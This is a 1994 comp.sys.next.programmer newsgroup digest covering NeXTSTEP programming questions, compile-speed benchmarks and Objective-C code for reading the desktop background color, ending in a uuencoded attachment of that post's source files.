Newsgroups: comp.sys.next.programmer From: rfi@jeans.fokus.gmd.de (Robert Fischer) Subject: Re: Gecko vs NeXTstation color: compiling Draw.app Message-ID: <1994Apr20.064652.9919@fokus.gmd.de> Sender: news@fokus.gmd.de (News system) Organization: GMD-Fokus References: <2p15cp$5dl@neptune.inf.ethz.ch> Date: Wed, 20 Apr 1994 06:46:52 GMT In article <2p15cp$5dl@neptune.inf.ethz.ch> dsdecasp@iiic.ethz.ch (Daniel Stefan Decasper) writes: > I tried to compile Draw.app (v48) on both the HP Gecko 712/80 and > my good old NeXTstation color (non turbo). > > Both had 32 MB ram and about the same (~9.5 ms, 1GB) hard disk. > > NeXTstation color: 8 min 50 s > > Gecko: 5 min 02 s > > > Comments ? > In your summary you wrote "Gecko IS fast". Was this a joke? A plus of nearly 40% is not what I expected to see. BTW: our 486/66 takes 7:02. Robert. ------------------------------------------------------------------------ Robert Fischer @ GMD-Fokus -------- __o ------- _`\<,_ fischer@fokus.gmd.de ------- (*)/ (*) ## NeXT-Mail welcome ## ------------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: catsmeat@netcom.com (Peter Thompson) Subject: Driverkit interrupt question Message-ID: <catsmeatCoJJJv.7tI@netcom.com> Summary: interrupt to driver to user program Organization: Relax, Don't Worry, Have a Homebrew! Date: Wed, 20 Apr 1994 04:38:19 GMT Hi NeXT Gurus! I have a question: Is there a prefered method of notifying a user program that an interrupt occured in the driver? I have tried to use Objective-C methods, but (duh!) they didn't work. I have set up my code so the user program must register with the driver for the interrupt messages. I have an example of msg_send (I assume using the Mig protocol) courtesy of Eric Norum, and I'm studying that. I want to make sure this is the prefered method. It sure would be nice if there were an official example of this somewhere in the next distribution...argh. Thanks in advance, Peter Thompson.
From: dsiebert@icaen.uiowa.edu (Doug Siebert) Newsgroups: comp.sys.next.programmer Subject: Re: Gecko vs NeXTstation color: compiling Draw.app Date: 20 Apr 1994 04:48:47 GMT Organization: Iowa Computer Aided Engineering Network, University of Iowa Message-ID: <2p2c7f$6m4@news.icaen.uiowa.edu> References: <2p15cp$5dl@neptune.inf.ethz.ch> dsdecasp@iiic.ethz.ch (Daniel Stefan Decasper) writes: >I tried to compile Draw.app (v48) on both the HP Gecko 712/80 and >my good old NeXTstation color (non turbo). >Both had 32 MB ram and about the same (~9.5 ms, 1GB) hard disk. >NeXTstation color: 8 min 50 s >Gecko: 5 min 02 s >Comments ? Meaningless. The PA-RISC chip is going to have a lot more work to do to properly optimize the code. Compare *run* speed if you want some sort of useful comparison. Having used plenty of HP 700 series machines, I can guarantee you the 712/60 and 712/80 will blow it away a regular NeXT (I have one at home, so I know how fast they go too) by a huge margin. Not even in the same league, in disk, memory, CPU, and graphics speed. Now these were running HP-UX, which is *very* well optimized for SCSI performance, network performance, etc. I imagine they'll lose something dragging along with NeXT's braindead SCSI drivers, network drivers, etc., but they should still blow away color machines. You'll need the 90 and 100MHz Pentiums to get in the same league for CPU speed, and you're giving away a lot in SCSI, network, and memory bandwidth with a cheesy PC compared to an HP workstation, I can promise you that. -- Douglas Siebert dsiebert@isca.uiowa.edu
From: mike@ceramics.cmpe.ubc.ca (Michael C. Cam) Newsgroups: comp.sys.next.programmer Subject: Bizzare Bug: using "continue" as a variable Date: 20 Apr 1994 04:47:12 GMT Organization: The University of British Columbia Distribution: world Message-ID: <2p2c4g$ec8@nntp.ucs.ubc.ca> Hi, I've got a really bizarre bug. For some reason or another I cannot use the variable "continue". I get an error message when compiling using ProjectBuilder. The problem can be recreated by creating a New Application in ProjectBuilder and adding the following files: --------------------- SOURCE FILE - Dummy.m --------------------- #import "Dummy.h" @implementation Dummy - dummy { int continue; return self; } --------------------- HEADER FILE - Dummy.h --------------------- #import <appkit/appkit.h> @interface Dummy:Object { } - dummy; @end Go build the app and you will get the following message: cc -g -O -Wall -I./sym -arch m68k -I. -c Dummy.m -o ./m68k_obj/Dummy.o Dummy.m:8: syntax error, missing `;' after `int' *** Exit 1 Stop. *** Exit 1 Stop. If you change "continue" to "continu" (or anything else for that matter) it will compile without any problems. Any comments or experiences with this matter? --- ..Mike. ___________________________________________________________________ | | | ___ ^ ... /\ BEAUTIFUL | | _|_::| ___o '|`^ .. o_ . .. /\ / \ BRITISH | | |:::|:| \ \, ^ '|`|` (`_|/____') / / /\ COLUMBIA | | |:::|:| (o)/ (o) '|`'|`|`` ,,/ . ... . .. / \ | |-------------------------------------------------------------------| | Michael C. Cam E-MAIL (NeXT Mail OK) HOME 604-263-7609 | | UBC Materials Eng. mike@ceramics.cmpe.ubc.ca WORK 604-822-3122 | |___________________________________________________________________|
From: gad@eclipse.its.rpi.edu (Garance A. Drosehn) Newsgroups: comp.sys.next.programmer Subject: Re: Gecko vs NeXTstation color: compiling Draw.app Date: 20 Apr 1994 01:44:15 GMT Organization: Rensselaer Polytechnic Institute, Troy NY, USA Distribution: world Message-ID: <2p21df$p4c@usenet.rpi.edu> References: <2p1buv$lm7@bones.et.byu.edu> don@darth.byu.edu (Don Yacktman) writes: > Daniel Stefan Decasper writes > ) I tried to compile Draw.app (v48) on both the HP Gecko 712/80 and > ) my good old NeXTstation color (non turbo). > ) Both had 32 MB ram and about the same (~9.5 ms, 1GB) hard disk. > ) NeXTstation color: 8 min 50 s > ) Gecko: 5 min 02 s > ) Comments ? > > I would have expected a better performance increase, so one > of two things is likely: (1) you're using beta SW and the final > speed tweaks aren't done yet, or, and this is more likely, (2) the > CPU is faster than the harddrive by such a large factor that the > hard drive has become the limiting factor in compilation speed. Try compiling it on both architectures with the "-pipe" option, and see how much of a difference that makes. -- Garance Alistair Drosehn = gad@eclipse.its.rpi.edu ITS Systems Programmer (handles NeXT-type mail) Rensselaer Polytechnic Institute; Troy NY USA
From: wolfgang@wi.WHU-Koblenz.de (Wolfgang Roeckelein) Newsgroups: comp.sys.next.programmer Subject: S: etext to rtf converter Date: 20 Apr 1994 09:18:37 GMT Organization: WHU Koblenz Message-ID: <2p2s1d$7ro@obelix.WHU-Koblenz.de> Hello, as subject says I am looking for a converter for etexts (e.g. from Project Gutenberg) to rtf. Does such a piece exist? -- Dipl.-Wirtsch.-Inf. Voice: +49 261 6509 173 Wolfgang Roeckelein Fax: +49 261 6509 179 WHU Koblenz E-Mail: roeckelein@wi.whu-koblenz.de Burgplatz 2 (NeXTmail ok) D-56179 Vallendar Germany
Newsgroups: comp.sys.next.programmer From: arrouye@petole.imag.fr (Yves Arrouye) Subject: Breaking an NXConnection. How to do that, please? Message-ID: <1994Apr20.093532.26561@imag.fr> Sender: news@imag.fr Organization: Institut Imag, Grenoble, France Date: Wed, 20 Apr 1994 09:35:32 GMT Hi, I have written a small app with DO, and I want to allow the clients to register to another server and cease using the one they were connected to before. My problem is that I do not want to have a method telling the server that the client wants to unregister, so I am trying to break the connection by hand. If I say [myServer free] the server is freed, so I tried [[myServer connectionForProxy] free] but the server's senderIsInvalid: method does not work. I've also tried things like [NXConnection removeObject:myServer] or even [NXConnection removeObject:self] without any success. Do you have an idea of how to obtain the desired result? Thanks, Yves -- Advocates for the C++ school claim that a well designed Yves Arrouye program does not need the extra flexibility (a lie), Yves.Arrouye@imag.fr while advocates for the Objective-C school claim that (33) 76 57 48 64 the errors are no problem in practice (another lie). NeXT Mail
Newsgroups: comp.sys.next.programmer From: arrouye@petole.imag.fr (Yves Arrouye) Subject: Re: dread for user's background color preference? Message-ID: <1994Apr20.092846.26244@imag.fr> Sender: news@imag.fr Organization: Institut Imag, Grenoble, France References: <BHILL.94Apr19115749@spike.physics.ucla.edu> Date: Wed, 20 Apr 1994 09:28:46 GMT In article <BHILL.94Apr19115749@spike.physics.ucla.edu> bhill@physics.ucla.edu (Brian Hill) writes: > In article <BHILL.94Apr18154341@spike.physics.ucla.edu> bhill@physics.ucla.edu (Brian Hill) writes: > > Darcy Brockbank (darcy@wsc.com) suggests that the hardware is a red herring > and these these users have just never set set their background color. > > --Brian Hill Here is what I use to get this default: // NeXT1 defaults #define NEXT1_DEFLTNAME "NeXT1" // Background color defaults names and types (for use with colors.c) #define NEXT1_COLORDEFT "BackgroundColor" #define NEXT1_COLORTYPE "rgb " #define NEXT1_BWCOLORDEFT "BWBackgroundColor" #define NEXT1_BWCOLORTYPE "rgb " // Parsing a color in the defaults database #define NEXT1_COLORSPEC "%.6g %.6g %.6g" #define NEXT1_COLORSIZE 27 // Defaults colors currently used by Preferences in NS 3.x #define NEXT1_COLORGRAY "gray 0.333" #define NEXT1_COLORCOLR "rgb 85 85 119" // another file /* * Get the default background color, using either the NeXT1 BackgroundColor * default, the NeXT1 BWBackgroundColor default or the screen depth. Another * way to get the depth would be to use * * NXWindowDepthLimit depth; * if ((depth = [myWindow depthLimit]) == NX_DefaultDepth) { * depth = [Window defaultDepthLimit]; * } * * but we do not have a window... * * Returns YES if this is a gray color, NO otherwise. * */ - (BOOL)readNeXT1BackgroundColor:(NXColor*)color { char cl[DF_COLORSIZE]; const char* bg; BOOL isGray = NO; if (bg = NXReadDefault(NEXT1_DEFLTNAME, NEXT1_COLORDEFT)) { strcat(strcpy(cl, NEXT1_COLORTYPE), bg); } else if (bg = NXReadDefault(NEXT1_DEFLTNAME, NEXT1_BWCOLORDEFT)) { strcat(strcpy(cl, NEXT1_BWCOLORTYPE), bg); } else { const NXScreen* deepestScreen = [NXApp colorScreen]; int depth; int nbcols; depth = deepestScreen->depth; if (depth == NX_DefaultDepth) { depth = [Window defaultDepthLimit]; } nbcols = NXNumberOfColorComponents(NXColorSpaceFromDepth(depth)); if (isGray = (nbcols == NX_OneIsBlackColorSpace || nbcols == NX_OneIsWhiteColorSpace)) { strcpy(cl, NEXT1_COLORGRAY); } else { strcpy(cl, NEXT1_COLORCOLR); } } DFGetColor(cl, color); if (bg) { // Determine if this is a gray level float gray, alpha; NXColor grayColor; NXConvertColorToGrayAlpha(*color, &gray, &alpha); grayColor = NXConvertGrayAlphaToColor(gray, alpha); isGray = NXEqualColor(grayColor, *color); } return isGray; } The "rgb" string is prepended for use with DFGetColor which parses various color specifications. I post the colors.[hc] files for interested people (my first try at doing it with NG). They are used to read/save colors in human-readale form, for all kinds of colors supported by NEXTSTEP. Yves. -- Advocates for the C++ school claim that a well designed Yves Arrouye program does not need the extra flexibility (a lie), Yves.Arrouye@imag.fr while advocates for the Objective-C school claim that (33) 76 57 48 64 the errors are no problem in practice (another lie). NeXT Mail -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.WT*7&UA M<F=L,3(P"EQM87)G<C$R,`I<<&%R9%QT>#$Q-3)<='@R,S`T7'1X,S0U-EQT M>#0V,#A<='@U-S8P7'1X-CDQ,EQT>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q M,34R,%QF,%QB,%QI,%QU;&YO;F5<9G,R-%QF8S!<8V8P($EN(&%R=&EC;&4@ M/$)(24Q,+CDT07!R,3DQ,34W-#E`<W!I:V4N<&AY<VEC<RYU8VQA+F5D=3X@ M8FAI;&Q`<&AY<VEC<RYU8VQA+F5D=2`H0G)I86X@2&EL;"D@=W)I=&5S.EP* M/B!);B!A<G1I8VQE(#Q"2$E,3"XY-$%P<C$X,34T,S0Q0'-P:6ME+G!H>7-I M8W,N=6-L82YE9'4^(&)H:6QL0'!H>7-I8W,N=6-L82YE9'4@*$)R:6%N($AI M;&PI('=R:71E<SI<"CX@7`H^($1A<F-Y($)R;V-K8F%N:R`H9&%R8WE`=W-C M+F-O;2D@<W5G9V5S=',@=&AA="!T:&4@:&%R9'=A<F4@:7,@82!R960@:&5R M<FEN9UP*/B!A;F0@=&AE<V4@=&AE<V4@=7-E<G,@:&%V92!J=7-T(&YE=F5R M('-E="!S970@=&AE:7(@8F%C:V=R;W5N9"!C;VQO<BX@(%P*/B!<"CX@+2U" M<FEA;B!(:6QL7`I<"DAE<F4@:7,@=VAA="!)('5S92!T;R!G970@=&AI<R!D M969A=6QT.EP*7`HO+R!.95A4,2!D969A=6QT<UP*7`HC9&5F:6YE($Y%6%0Q M7T1%1DQ43D%-12`B3F585#$B7`I<"B\O($)A8VMG<F]U;F0@8V]L;W(@9&5F M875L=',@;F%M97,@86YD('1Y<&5S("AF;W(@=7-E('=I=&@@8V]L;W)S+F,I M7`I<"B-D969I;F4@3D585#%?0T],3U)$1494"2)"86-K9W)O=6YD0V]L;W(B M7`HC9&5F:6YE($Y%6%0Q7T-/3$]25%E010DB<F=B(")<"EP*(V1E9FEN92!. M15A4,5]"5T-/3$]21$5&5`DB0E="86-K9W)O=6YD0V]L;W(B7`HC9&5F:6YE M($Y%6%0Q7T)70T],3U)465!%"2)R9V(@(EP*7`HO+R!087)S:6YG(&$@8V]L M;W(@:6X@=&AE(&1E9F%U;'1S(&1A=&%B87-E7`I<"B-D969I;F4@3D585#%? M0T],3U)34$5#"2(E+C9G("4N-F<@)2XV9R)<"B-D969I;F4@3D585#%?0T], M3U)325I%"3(W7`I<"B\O($1E9F%U;'1S(&-O;&]R<R!C=7)R96YT;'D@=7-E M9"!B>2!0<F5F97)E;F-E<R!I;B!.4R`S+GA<"EP*(V1E9FEN92!.15A4,5]# M3TQ/4D=205D)(F=R87D@,"XS,S,B7`HC9&5F:6YE($Y%6%0Q7T-/3$]20T], M4@DB<F=B(#@U(#@U(#$Q.2)<"EP*+R\@86YO=&AE<B!F:6QE7`I<"B\J7`H@ M*B!'970@=&AE(&1E9F%U;'0@8F%C:V=R;W5N9"!C;VQO<BP@=7-I;F<@96ET M:&5R('1H92!.95A4,2!"86-K9W)O=6YD0V]L;W)<"B`J(&1E9F%U;'0L('1H M92!.95A4,2!"5T)A8VMG<F]U;F1#;VQO<B!D969A=6QT(&]R('1H92!S8W)E M96X@9&5P=&@N($%N;W1H97)<"B`J('=A>2!T;R!G970@=&AE(&1E<'1H('=O M=6QD(&)E('1O('5S95P*("I<"B`J("`@("!.6%=I;F1O=T1E<'1H3&EM:70@ M9&5P=&@[7`H@*B`@("`@:68@*"AD97!T:"`](%MM>5=I;F1O=R!D97!T:$QI M;6ET72D@/3T@3EA?1&5F875L=$1E<'1H*2!<>UP*("H@("`@("`@("!D97!T M:"`](%M7:6YD;W<@9&5F875L=$1E<'1H3&EM:71=.UP*("H@("`@(%Q]7`H@ M*EP*("H@8G5T('=E(&1O(&YO="!H879E(&$@=VEN9&]W+BXN7`H@*EP*("H@ M4F5T=7)N<R!915,@:68@=&AI<R!I<R!A(&=R87D@8V]L;W(L($Y/(&]T:&5R M=VES92Y<"B`J7`H@*B]<"EP*+2`H0D]/3"ER96%D3F585#%"86-K9W)O=6YD M0V]L;W(Z*$Y80V]L;W(J*6-O;&]R7`I<>UP*("`@(&-H87(@8VQ;1$9?0T], M3U)325I%73M<"B`@("!C;VYS="!C:&%R*B!B9SM<"B`@("!"3T],(&ES1W)A M>2`]($Y/.UP*7`H@("`@:68@*&)G(#T@3EA296%D1&5F875L="A.15A4,5]$ M149,5$Y!344L($Y%6%0Q7T-/3$]21$5&5"DI(%Q[7`H)<W1R8V%T*'-T<F-P M>2AC;"P@3D585#%?0T],3U)465!%*2P@8F<I.UP*("`@(%Q](&5L<V4@:68@ M*&)G(#T@3EA296%D1&5F875L="A.15A4,5]$149,5$Y!344L($Y%6%0Q7T)7 M0T],3U)$1494*2D@7'M<"B`@("`)<W1R8V%T*'-T<F-P>2AC;"P@3D585#%? M0E=#3TQ/4E194$4I+"!B9RD[7`H@("`@7'T@96QS92!<>UP*("`@(`EC;VYS M="!.6%-C<F5E;BH@9&5E<&5S=%-C<F5E;B`](%M.6$%P<"!C;VQO<E-C<F5E M;ET[7`H):6YT(&1E<'1H.UP*"6EN="!N8F-O;',[7`H)7`H)9&5P=&@@/2!D M965P97-T4V-R965N+3YD97!T:#M<"@EI9B`H9&5P=&@@/3T@3EA?1&5F875L M=$1E<'1H*2!<>UP*"2`@("!D97!T:"`](%M7:6YD;W<@9&5F875L=$1E<'1H M3&EM:71=.UP*"5Q]7`H)7`H);F)C;VQS(#T@3EA.=6UB97)/9D-O;&]R0V]M M<&]N96YT<RA.6$-O;&]R4W!A8V5&<F]M1&5P=&@H9&5P=&@I*3M<"@E<"@EI M9B`H:7-'<F%Y(#T@*&YB8V]L<R`]/2!.6%]/;F5)<T)L86-K0V]L;W)3<&%C M92!\?%P*"2`@("!N8F-O;',@/3T@3EA?3VYE27-7:&ET94-O;&]R4W!A8V4I M*2!<>UP*"2`@("!S=')C<'DH8VPL($Y%6%0Q7T-/3$]21U)!62D[7`H)7'T@ M96QS92!<>UP*"2`@("!S=')C<'DH8VPL($Y%6%0Q7T-/3$]20T],4BD[7`H) M7'U<"B`@("!<?5P*7`H@("`@1$9'971#;VQO<BAC;"P@8V]L;W(I.UP*7`H@ M("`@:68@*&)G*2!<>PD)"2\O($1E=&5R;6EN92!I9B!T:&ES(&ES(&$@9W)A M>2!L979E;%P*("`@(`EF;&]A="!G<F%Y+"!A;'!H83M<"@E.6$-O;&]R(&=R M87E#;VQO<CM<"@E<"@E.6$-O;G9E<G1#;VQO<E1O1W)A>4%L<&AA*"IC;VQO M<BP@)F=R87DL("9A;'!H82D[7`H)9W)A>4-O;&]R(#T@3EA#;VYV97)T1W)A M>4%L<&AA5&]#;VQO<BAG<F%Y+"!A;'!H82D[7`H)7`H):7-'<F%Y(#T@3EA% M<75A;$-O;&]R*&=R87E#;VQO<BP@*F-O;&]R*3M<"B`@("!<?5P*("`@(%P* M("`@(')E='5R;B!I<T=R87D[7`I<?5P*7`I4:&4@(G)G8B(@<W1R:6YG(&ES M('!R97!E;F1E9"!F;W(@=7-E('=I=&@@1$9'971#;VQO<B!W:&EC:"!P87)S M97,@=F%R:6]U<R!C;VQO<B!S<&5C:69I8V%T:6]N<RX@22!P;W-T('1H92!C M;VQO<G,N6VAC72!F:6QE<R!F;W(@:6YT97)E<W1E9"!P96]P;&4@*&UY(&9I M<G-T('1R>2!A="!D;VEN9R!I="!W:71H($Y'*2X@5&AE>2!A<F4@=7-E9"!T M;R!R96%D+W-A=F4@8V]L;W)S(&EN(&AU;6%N+7)E861A;&4@9F]R;2P@9F]R M(&%L;"!K:6YD<R!O9B!C;VQO<G,@<W5P<&]R=&5D(&)Y($Y%6%135$50+EP* M7`I9=F5S+EP*7`H*>WM<3D=$;V-U;65N=#(X,S`@8V]L;W)S+F@*,S@W-B!- M)UE6,#A=6E`^,BU'0T!,5&`A*$HW+$)02#PN)R0B+2I')$`Q8"A"*RU&0S!@ M)B0Q02A0.RQ665!/)$`R"DU11$(R*29/)$(E)T,X2%8W*D9?*$(C)R,Q3$@Z M+59).$LL0E-)7%X_,"@L*B<T2E1*+29#,BDL2D<Z0T`*34$P2"4H)3)@(B-" M4%@D)#TH+2I82#4M)D-)1%`X7$I@+"0M4$I,(E(Z+"I8*#PM)EI91DP[1",L M2#(O)PI-2S0F2#-:+B(F+R@F,TE:6CE=(S!@."5",F!(,"PW*T1&+"0B,2$X M6SD^.F`B(BDG4TE,6CX\2T!1/TTB"DTP/2Y<-$A/0"(]+"8C04Y1.UQ28#HE M+B8C24A7.2(S,SXP+2(S3C,Y345?+"(P+SD[)3<I.#8R0R0U34<*33-%/EDY M-%HO6#1()D$N3%([,4L_,CXL.DM?+T$H+$(T7C5*)R,Q5RDY+"LP(C(L1CXA M1#U&7S4^.V`G0@I-,R9.7C4X14PC72X]0T!8-&`]5RQ'.4DV0TA(-%9)1T$A M)D5"5SX\)"5/8#%=*5P].#LA05<T-5LO*$(R"DTV/T@M+40Y7S1`-"@P0%Q` M)R=!)#I?*5%9650U(STY,2%`24]7+B4F-5A4)2XB(4LJ/E!`*#1)24HH.B(* M34%".CA@8"@Q,4=1*#%8*5)7*T$].%!24D0\*4$D.DA7.#`J5E0U)B<G)R0Y M45@X.2Q"2BDT05Q`*28\/`I-(B1%*BTR)"@S*SM6.2513DDL)29%-5DN5B@^ M)#I4.44G-TU752PT-40B)S)9755=7CY55S@Q0UY@.T,]"DU"4#9"/"(B,"HQ M,$DX.3T_7$P]1SU-3B%,8#8O-U!342$A+2\R(R4E)$5(-%0P-CHJ+%4H-$A6 M)%PS0R4*33Y6/"4F,B(Q(S%;*4DZ/3\G1T(E1R8W-#8Q7BHJ2RLH2BA@)$U+ M03U#(2A&+"8F,SA2*%<I.CT_.$I&10I--BA!7B8Z.C,T*"DP64E&3$!-(49& M32U2(4DT(BA:,3$F1"8C7#%@)B<G(DPP/50K-2$E5$1@7CXY-D\F"DTV2%4B M*D)&145&*3HA*S@A.D(V-DY9+38^1D9&(CPP8$!04%0I+R,B(E)@5"0P.#X\ M32=%)4!"1TXW)B8*33I2(D0A1"@X3T$F)#LQ14M5/D`Y)S='8#0X.B8F+3\Q M44I(2#(W)B0D*2=&*EPV)B@L(V!`3&`D,E\E40I-.%0_.$%')4,P2R%!*$4P M1$8R420D(D<C7E,K+"@L02PA3%163E@F4U-&-%0E0#`[/"HS)5Q4-2,M*2<E M"DTD1"4W+D\S8#Y>-D$U1BPF3EL]-28H545$/5%@/5)0+55!23-;5C=5)$0B M7TI3-S$P5T)-/2PE04(C53X*358V/D=*+S@X.E-`+4T],$@H,R0E4D<I*TPS M-R$R*4,X5B$S0B\R13XF1E\\*S`Q0$!*5%A145%-)E]94PI-54A(1S`G,T,S M."Q@+CLN,S586%-91S%(+T@_0#0X/S%=024R(2DD)5HH3B,T)RPX/C,A/"%& M,"Y(1#);"DU;-"108#`T,CPZ3UPL33Y;75=8.EPK8#,S02@Q,3%`,3$A-2PT M*"1;5#I=,E%5-3Q45"=,,2%%.#0C)38*32<V6$PQ6T5>.S-,,3$A+24D8"9: M6B51,T`Y5#DZ,3!45B%4)"TY/B8\)BE18%@D0DE)2T=;*C4T,R]`/PI-)S$R M8"DQ6"%",$@]*E@N+%HK-#T^7E<H(B196%!=+4(A5"8O2#A@+BHT0&`B1#HH M8$I68%0C1B<H.4`L"DTC0BXU)34H,#]23EI88#LS5$PD,T`U(50J+B$Q(48\ M.$%!25Y<(V!+,"10*B\N+#1:74$O*R0T4D0V,R8*34@A.#!")"1,.51`(SDN M*3(A3D@L,5!8,V!86E,Q+SDD*R-:,2-'/$A@7#DZ64`J,THJ-%DL,D%#.%Q( M0@I-04U8-5%25S8Z,"TA428J)DY&(BPK.U538%$^6RA)1E9+)"1,2T='(T5+ M,5(G.R8T(EA-03E@+#LB)2PF"DTE65,A(38L24)1+D9@*"@Y3B)@)D,Y)B,V M35,C+CM7-%PP5$,L7$5,)&`L(T198"5"4%8J5SPS-E1!62T*35E*)%%(2C(M M(R58,C(R4UHC*3LN2#A67S,E1C9*159-+#8^5%-"12%8*T8V63LJ,BU.8$4E M22904DX[)`I-1$DS*BLF,R1'1BPU(C%4441(22Q4/"LL0"-;534T6%(\4T1# M1UQ","%#5&`D0TU:.R0L-S==/RQ"/40F"DTA+#=91B$M6UU144$]22PN6E-. M1CY2431*2TY8,C)<.5DL2551*R\J5T(T,2TW-#A#+#,D/"E&53(N.5\*35-) M)2,M7#1#4U4D.B1@.44[)CPZ,SPI,%TL-R8A/D4Q,#8\-#1@.%P\*C4Y/4=! M(R9)2$-*3R9,.3E310I-*R0L,#0F(B9`.$$G*D8G0#4T12\F23XT2T\R(C17 M(4D^+C%@,T<L/D`Z.%9)."TT4THA,T17.D5)4DE%"DU*,28B*D1:0E%-,4<R M)U<C,S9/,T8I24HU.D=-6C9),DDR*B9)3R@T(2-:-2I%-3\Z13537D<H*38R M-D@*334L.$!52ETJ*3-)0R8R3"@W244W3E@I0",V.5TJ14I#(D4R03I+*D@Y M/R$\-RPF*D%+24Y%.54^5S9).0I-*55!)$\P(DDO.E<A25PO.CHQ4RU/2#8[ M6CPO1RU4)UHS625:.4H^(CTV(DDZ1T$A)U-44$!/0UE)2#10"DU1*D!90R0D M+D,\1S,[+T9$8$E2.E@Z,EPH2D4S1E8W(E5)*DHJ2R9-1"HK7#1=3SLM1CDP M23E)2THX*BL*339.*4XA.D,G*3!!7CHG3B<J63@N3D4V248A4"(Z75<A0B)* M6SQ*0$$F.SLK-E$A5$U23S\Q-2))42U,.`I-534Z)4TQ4U,F8$\Z34(]-"-" M6D<L2DE.-RA)6S=#2D@E5$-,.3Y96SL_+3Q>.#M71"M&-5LW*D5$35Y&"DU< M.SQ?)%],3TM9.R)8,%E;7BPL0"-+)B@Q5%-")$E/6%$B02Y,.$DW4RXH-DY? M0R4L*%I10R8]+%A12SL*35XL.%A32R8N)3\H.5I14S(H)D-@0D!&6UQ)-E!5 M)2I<*"1#*S9-2E(V-"LN23)8+EQ2/4@C3D`W54$G)@I-+"A!,2,F+#Q@44<I M-"PX4D8M)2PZ-#TZ5CTB+$E#,D<H/B%*-D\N.E8A4S,M1RXY2%996#A<05XY M128Z"DU</#)"12Q*4$<H2"XA6E]!,%@M52,A0$`N5U1'+EXH04-71S`T54HR M3"8^/STI22\_/V!$6#];7E%4-",*32TI(B,E-3)((4%42C9+2CU<*E4X64(D M,#(W220I,TDQ0D4Z)%953"%"13TV7DDR+3PJ,$,G2T96-20H4@I-8%I*+$$J M,4@K,DTX-$HI,DTH4R5!0E1%.E1'8#I-.E-"*C1&+4@T-"$G(B(U.C$E.2E? M1%I`12,_3"@U"DTZ5")`.C0H.3)$1R<Q1$5?,5]42"A8(4XW64E"+4!"0B$Z M2#PS039=3CU:54I,*CTJ)3\A,D4[/D@Q-DL*33TZ-TU40#0H549'4B4T2C(G M.C=$(B-/-B52)E9,-U4M/"8^.3(]5$1&-3LD,%U*.3TV/4LV5RM(54L_(@I- M+3I9(T="33TM-BHW.D]@)2M7,E]4*"A$55D^7%Y/-D]`)R<M.&!!6UQ,*#I= M0V!42BE%0D%;43A13%)0"DU,,$(B*RE41%I=1RDP+#Q215$G+3HD0#-(7C8X M54,Z/RDT74A=*$\Y4R<R-TTJ-%D[0RM?.SU-.TU4/%<*34Y8)$T[44,[1E8O M6D5#.#!9)E%--D=?.U1>/R9-.TE=(S9=6BA=3SA,54=63%`L3CY+*$M7+B98 M4T,W,@I-+S)94D9!,DU9-4-'3DQ8/3M.5D$F75<U,U(\65`Z7$XC."5)-S8S M.%(\+SE5/EE60CQ-/5Q74"<O+$PS"DU35T,H5E%;4S<L1UE9+B)=.STR4R=/ M.E1%5T=.4CY%6UM+-4)!7$%'+TTA6D175$@\,5]<62D^6$HH+T`*349/0S-' M5T];15$T8"Y&3F`D0RQ`1"$H6"50.3Y<*S0^1EY@*%I!-2,G-DM03U-:7"@P M12M.*3<C1R4B)0I-*R\S*"0J/3]0/DD[(U].4$\Z)"A+/%\C6V`M,4(D,CQ< M0S0O3DPP1B]+)%TT05%#)3I%63E82D5,6$TN"DU5(4E!+20X.#DT.DQ-)25+ M620U3BU@/5!)(3U27219545@.5=18#E9320\)5`S(4E<)#\W*#1!0C`T0"8* M33TD0TX],SHL621","TD4C,U)$8W121&.R4A1R(Y(49!/2126STF,DE%(3M- M/6`Z3D$D3D,M)$Q-+#125PI-.2120R4H+R-=)3M@32$[(C4A.R5=)%!5)#17 M+#TD.%Y*)$Y%/28P)EU@.S0I)C1$8#=0(D`S.SL])%]+"DU@5%DB(34O1BDD M5U]15#TC5B%17#!!4R94,5%--21#5B4E2UDM)$M;*259,CE!5"$]-%@D23$X M)D4V2#$*3415(4I5120N-3=0,2TU)RP\-%`W134E+$XE)2Y5)6`_,3<F1RTU M43!=-2Q--34V*"TU+C$A-3A@*4511PI-134Z)2$X1%$]-3(S3B4S1%4X04I5 M.#5--3`Y.%4X13Q5-3T[/3`Z+B$U.C,Y.$8B03A&+U(E.BA=-3HK"DU),3U4 M03A)0$$U/D92)3Y&(B5`(5%(0B-9.$$S.35!04`E0BHY.$HM03A-,F`U15I5 M.$A=.45'4TTT7CX*35$U1DU$.#5,+B5**EHH2RTX15PD4#5*5D%%6%XE)DHV M545232E(6#A814]@+30D(B%!/T95,B]0.4A;30I-23%65E4V2T!),B-",357 M8#(F(T]=0BY8+4A8*R5%7C<]-$(_4BA;.%$X7U=9-RPI*4$W7U8F8"$V,DM5 M"DTY,#,P(51`,4TE7T)!1B13-BA'2THH7D,X1F!>058C7EHE5"PN-5PP,4(G M-U5%6#4Q221$+#98-TXV)%L*-%5)*$Y>.2A0)CDL4BXY+%0V.2Q6/CDL6$XV M+%X*8`I]"JQ]>UQP87)D7'1X,3$U,EQT>#(S,#1<='@S-#4V7'1X-#8P.%QT M>#4W-C!<='@V.3$R7'1X.#`V-%QT>#DR,39<='@Q,#,V.%QT>#$Q-3(P7&8P M7&(P7&DP7'5L;F]N95QF<S(T7&9C,%QC9C![7$Y'1&]C=6UE;G0R.#,Q(&-O M;&]R<RYC"C@T.#0@32=95C`X75I0/C(M1T-(3%%@(2A*-RQ"4$@\+B<D(BTJ M1R1`,6`H0BLM1D,P8"8D,4$H4#LL5EE03R1`,@I-441",B56-S!&)B4C*2A` M.BPF3R1.(B4C,4!0.RDF3SA,)D912$Q>/S`H+"HG-$I42BTF0S(I+$HW/$E4 M"DU(2"@W*D$R8#1@)$)8+"(B(5<U-"4T0#`A*4A0.TQ"4#(^+T8C8$)2*"X[ M,$0T+U9#)"9)-#H^(B8O*"8*33-!6E8Y72,P8#@E0C)@2#`L-RM$1BPD(C$A M.%LY/CI@(B(I)U-)3%H^/$@T*T@M1S,A1%@^7CY<.C4M1@I-*EE'+D=<+BPK M,$]",T%(6CHD(D`A15<F,RE`6CLN0RQ`,$Q"0#Y4)"HD)C`B-"Q'0RE`4#Q2 M,DLC2RY&"DU#(4PP.4%25V`Q)"8^,4A61SY>4$DT+R<N8$!1/CXC/E%(5%)2 M)4`P,U\R-$0U+EA10$PY+C5;1$0E)U@*33,A2R117"\\(CDO1SY'5$<Y.R$P 